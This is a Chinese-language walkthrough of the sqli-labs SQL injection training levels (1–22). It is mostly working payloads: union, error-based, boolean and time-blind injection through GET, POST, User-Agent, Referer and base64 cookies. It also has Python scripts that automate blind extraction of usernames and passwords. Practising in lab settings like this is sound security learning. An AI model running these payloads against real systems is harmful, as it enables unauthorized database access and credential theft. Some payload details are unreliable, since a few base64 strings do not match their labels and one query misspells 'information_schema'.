第一关:GET字符型注入
正常输入:
id=1
字符型注入
id=1' and 1='1
# 有数据
id=1' and 1='2
# 无数据
{当输入 and 1='1时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and 1='1'
语法正确,逻辑判断正确,所以返回正确。
当输入 and 1='2时,后台执行 Sql 语句:
select * from where id = 'x' and 1='2'
语法正确,但逻辑判断错误,所以返回错误。}
报错,说明是字符型注入
我们输入的--+变成了--空格,此时--后面的语句被注释掉了,不会再执行
字段数
id=0' order by 1,2,3,4,5,6,7,8,9,10 --+
数据库
id=0' union SELECT 1,2,database() --+
获取所有的数据库
id=0' union SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
表
id=0' union SELECT 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+
列名
id=0' union SELECT 1,2,group_concat(column_name) from information_schema.columns WHERE table_name='users' --+
查询数据
id=0' union SELECT 1,2,group_concat(username) from users --+
第二关:GET数字型注入
注入类型
id=1 and 1=1
# 有数据
id=1 and 1=2
# 无数据
查列数
id=1 order by 1,2,3,4,5
查数据库
id=0 union select 1,2,database() --+
或
id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata
查表
id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查字段
id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'
查数据
id=0 union select 1,2,group_concat(username) from users
第三关:GET单引号构造闭合
闭合为('')
判断注入类型
id=1) and 1=1 --+
id=1) and 1=2 --+
# 以上两个payload都可以返回数据,说明不是数字型注入
id=1') and 1=1 --+
# 能返回数据
id=1') and 1=2 --+
# 不能返回数据
# 说明是字符型包含闭合的注入
查字段数
id=1') order by 1,2,3,4 --+
查数据库
id=0') union select 1,2, group_concat(schema_name) from information_schema.schemata --+
或
id=0') union select 1,2, database() --+
查表名
id=0') union select 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+
查列名
id=0') union select 1,2,group_concat(column_name) from information_schema.columns WHERE table_name='users' --+
查数据
id=0') union select 1,2,group_concat(username) from users --+
第四关:GET双引号闭合sql语句
闭合方式("")
判断类型
双引号闭合
id=1") and 1=2 --+
查字段数
3个字段数
id=1") order by 1,2,3,4 --+
查数据库
id=0") union select 1,2, group_concat(schema_name) from information_schema.schemata --+
查询数据表
id=0") union select 1,2, group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+
查询列名
id=0") union select 1,2, group_concat(column_name) from information_schema.columns WHERE table_name='users' --+
查询数据
id=0") union select 1,2, group_concat(username) from users--+
第五关 :GET单引号盲注和报错注入
注入类型
id=1' and 1=1 --+
# 有数据
id=1' and 1=2 --+
# 无数据
单引号字符型盲注
脚本自动化
通过每一位的比较真假,得出每一位的字符。
id=1' and 1=if(ascii(substr(database(),1,1))>32,1,0)--+
手动太麻烦,直接上Python脚本:
import requests
url = "url/Less-5/?id=1' and 1= "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr(database(),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0)--+'
payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0)--+'
r = requests.get(url + payload)
if "You are in" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
updatexml报错注入
id=1' and updatexml(1, concat(0x7e, (select database()), 0x73), 1)--+
重复报错
id=' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a --+
第六关:GET双引号时间盲注与报错注入
注入类型
id=1" and 1=1 --+
id=1" and 1=2 --+
双引号字符型盲注
自动化脚本
import requests
url = "url/Less-6/?id=1\" and 1= "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'
try:
r = requests.get(url + payload, timeout=2)
head = mid + 1
except Exception as e:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
updatexml注入
id=1" and updatexml(1, concat(0x7e, (select database()), 0x73), 1)--+
重复报错注入
id=" union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a --+
第八关:GET单引号盲注+无报错
跟第五关的盲注一样,mysql_error()注释掉了,不能报错注入。
没有任何提示,因为它把错误信息隐藏了,所以并不能用显错式注入,只能用盲注。
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23
或者这样就简单一点
?id=1' and ascii(substr((select database()),1,1))>64 %23
为什么这里是布尔型盲注呢,因为这里没把数据输出,只是$row有数据和无数据的时候显示的结果不一样
猜测数据库名字第一个字母:
?id=1' and ascii(substr((select database()),1,1))>114 --+
大于114时返回正确
?id=1' and ascii(substr((select database()),1,1))>115 --+
这时错误,说明ascii应该为115,即s,再接着推测第二个,然后可判断应该为security数据库,然后依次推出其他数据,比较麻烦。
?id=1' and left(database(),1)='s' --+
返回正确,可确定第一个字母为s.
猜数据库名第一个字母具体过程,使用二分法
1.?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64
1.?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
2.?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122
3.?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
4.?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间
5.?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
6.?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间
7.?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s
盲注过程是漫长的,一般是自己写脚本或使用工具辅助
第九关:GET - 盲注 - 基于时间 - 单引号
方法一:参考目录文章MySQL盲注:基于时间延迟注入(Sleep函数)
方法二:
?id=1' 其余与Less-10相同。
基础知识:
1.sleep(x): 执行后,睡眠x秒后执行。
2.if(a,b,c): 如果a正确,b执行否则c执行。
注入:
1.基于' 的时间盲注。
2.?id=1 ,?id=1' 发现不论对错不会回显且不会产生变化,采用时间盲注。
3.?id=1 and sleep(5) –+ ,?id=1' and sleep(5) --+ 判断闭合。
4.?id=1' and if(length(database())=7,1,sleep(5)) --+ ,判断数据库名长度。
5.?id=1' and if(substr(database(),1,1)='s' ,sleep(5),1) --+ ,判断数据库名。或 ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ ,判断数据库名。通过改变substr的步长来逐步猜测。
6.?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=114,sleep(5),1) --+ ,判断表名。改变limit,substr步数逐步判断。
7.同理得到列名,账号密码。
第十关: GET - 盲注 - 基于时间 - 双引号
1.基于 “ 的时间盲注。
2.?id=1” 其余与Less-9相同。
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length(database())=7,1,sleep(5)) --+
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ 判断数据库名。通过改变substr的步长来逐步猜测。
或者
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(substr(database(),1,1)='s',sleep(5),1) --+,判断数据库
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =114,sleep(5),1) --+
或者
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =114,sleep(5),1) --+
第十一关:POST单引号注入
判断类型
单引号字符型注入
uname=1' or 1=1#&passwd=admin
注意:注释不能用–+会出错,要采用#代替。
# 有数据
uname=1' or 1=2#&passwd=admin
# 无数据
注入:
1.基于 ' 的post注入。
2.查看源码发现账户名为: uname,密码名为: passwd,提交为: submit=Submit。
3.采用post注入,
uname=admin&passwd=admin&submit=Submit ,回显成功.
4.判断注入类型
uname=admin' #&passwd=admin&submit=Submit ,回显成功.
5.查询字段数
uname=admin' order by 1,2,3,4 #&passwd=admin&submit=Submit,得到字段为2.
6.判断回显
uname=admin' union select 1,2 #&passwd=admin&submit=Submit
7.查找数据库名
uname=1' union select 1,database() #&passwd=admin&submit=Submit 只能查询当前所用的数据库
或者
uname=1' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin 能查询全部的数据库
8.查询表名
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=admin&submit=Submit
或者
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit
9.查找列名
uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=admin&submit=Submit
10.查询数据
uname=1' union select 1,group_concat(username) from users#&passwd=admin
第十二关:POST双引号括号闭合
1.注入类型
uname=1") or 1=1#&passwd=admin&submit=Submit 显示数据
uname=1") or 1=2#&passwd=admin&submit=Submit 不显示数据
说明为双引号括号闭合型
- uname=1") order by 1,2,3,4 #&passwd=admin
uname=1") union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin
uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=admin
uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin
uname=1") union select 1,group_concat(username) from users#&passwd=admin
————————————————
版权声明:本文为CSDN博主「小龙在山东」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/lilongsy/article/details/108627889
第十三关:POST单引号盲注和报错注入
1.判断注入类型
uname=1') or 1=1 #&passwd=admin&submit=Submit
uname=1') or 1=2 #&passwd=admin&submit=Submit
可以得出单引号闭合型
2.获取相关数据
uname=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&passwd=admin :获取数据库
uname=1') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=admin : 获取表名
uname=1') and updatexml(1,concat(0x7e,(select group_concat(column_name)from infromation_schema.columns where table_name='users'),0x7e),1)#&passwd=admin : 获取列名
uname=1') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) #&passwd=admin : 获取数据
第十四关:双引号盲注+报错注入
判断注入类型:
uname=1" or 1=1#&passwd=admin&submit=Submit
uname=1" or 1=2#&passwd=admin&submit=Submit
数据库
uname=1" and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1)#&passwd=admin
表名
uname=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=admin
字段名
uname=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),1)#&passwd=admin
表数据
uname=1" and updatexml(1,concat(0x7e,(select group_concat(username)from users),0x7e),1)#&passwd=admin
第十五关:POST单引号布尔盲注
判断注入类型:
uname=1' or 1=1#&passwd=admin&submit=Submit
uname=1' or 1=2#&passwd=admin&submit=Submit
数据库
uname=1' or substr(database(),1,1)='s'#&passwd=admin&submit=Submit
表名
uname=1' or if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=114,1,sleep(3))#&passwd=admin&submit=Submit
表数据
uname=1' or ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=admin&submit=Submit :判断第一个字符是不是D
字段名
uname=1' or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,4)='user' #&passwd=admin&submit=Submit
{Welcome Dhakkan
Your Login name:2
Your Password:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password}
第十六关:POST双引号闭合布尔盲注
判断是啥类型
uname=1") or 1=1#&passwd=admin&submit=Submit
uname=1") or 1=2#&passwd=admin&submit=Submit
数据库
uname=1") or substr(database(),1,1)='s'#&passwd=admin&submit=Submit
表名
uname=1") or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='r'#&passwd=admin&submit=Submit
字段
uname=1") or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u'#&passwd=admin&submit=Submit
表数据
uname=1") or substr((select username from users limit 0,1),1,1)='D'#&passwd=admin&submit=Submit
第十七关:已知一字段过滤,单引号报错注入另一字段
数据库
uname=admin&passwd=' and updatexml(1,concat(0x7e,database(),0x7e),1)#
表名
uname=admin&passwd=' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
字段
uname=admin&passwd=' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
表数据
uname=admin&passwd=' and updatexml(1,concat(0x7e,(select * from (select concat_ws(0x7e,id,username,password) from users limit 0,1) b)),0) #
第十八关:UA注入+单引号报错注入
uname和passwd都经过stripslashes和mysql_real_escape_string过滤,暂时无法绕过,所以先暴力破解出用户名和密码admin admin。题目也提示ip和ua可以注入。
Post data: uname=admin&passwd=admin&submit=Submit
数据库名
User-Agent: ',1,updatexml(1,concat(0x7e,database(),0x7e),1))#
表名
User-Agent: ',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
列名
User-Agent: ',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
表数据
User-Agent: ',1,updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1))#
less-19——基于’的Referer:报头文报错注入
把十八关的ua改为了Referer,其他一样:
Post data: uname=admin&passwd=admin&submit=Submit
数据库名
Referer: ',1,updatexml(1,concat(0x7e,database(),0x7e),1))#
表名
Referer: ',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
列名
Referer: ',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
表数据
Referer: ',1,updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1))# 多条数据
Referer: ',1,updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)
第二十关:Cookie注入+单引号
基于 ‘ 的 Cookie 注入。
Post data:uname=admin&passwd=admin&submit=Submit
数据库
uname=0' union select 1,2,database()# 单个数据库
uname=0' union select 1,2,group_concat(schema_name) from information_schema.schemata #
表名
uname=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
列名
uname=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
表数据
uname=0' union select 1,2,group_concat(username) from users #
第二十一关:Cookie base64编码注入+单引号括号闭合
比第二十关加了一层base64编码和括号闭合。
数据库名
uname=0') union select 1,2,group_concat(schema_name) from information_schema.schemata #
Base64:uname=MCcpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSAj
表名
uname=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
Base64:uname=dW5hbWU9MCcpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSM=
列名
uname=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
Base64:uname=MCcpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J3VzZXJzJyM=
表数据
uname=0') union select 1,2,group_concat(username) from users#
Base64:uname=dW5hbWU9MCcpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHVzZXJzIw==
第二十二关:Cookie base64编码注入+双引号
基于 “ 的cookie的base64编码注入
Post data: uname=admin&passwd=admin&submit=Submit
数据库名
uname=0" order by 1,2,3,4,5 #
Base64:uname=MCIgb3JkZXIgYnkgMSwyLDMsNCw1ICM=
表名
uname=0" union select 1,2,group_concat(schema_name) from information_schema.schemata #
Base64:uname=MCIgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoc2NoZW1hX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhICM=
列名
uname=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
Base64:uname=MCIgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICM=
表名
uname=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
Base64:uname=MCIgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICM=
表数据
uname=0" union select 1,2,group_concat(username) from users#
Base64:uname=MCIgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIw==